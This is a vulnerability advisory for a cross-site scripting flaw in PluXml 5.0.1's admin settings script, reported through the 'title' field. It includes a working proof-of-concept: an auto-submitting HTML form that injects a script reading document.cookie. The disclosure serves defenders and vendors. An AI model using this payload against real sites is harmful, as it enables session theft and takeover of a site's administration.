XSS vulnerability in PluXml

Vulnerability ID: HTB22633
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluxml_2.html
Product: PluXml
Vendor: PluXml Team ( http://pluxml.org/ )
Vulnerable Version: 5.0.1 and probably prior versions
Vendor Notification: 29 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/core/admin/parametres_base.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/core/admin/parametres_base.php&quot; method="post" name="main" >
<input type="hidden" name="title" value='PluXml"><script>alert(document.cookie)</script>'>
<input type="hidden" name="description" value="le blog full XML">
<input type="hidden" name="racine" value="http://host/&quot;&gt;
<input type="hidden" name="delta" value="+00:00">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="mod_com" value="0">
<input type="hidden" name="editor" value="plxtoolbar">
</form>
<script>
document.main.submit();
</script>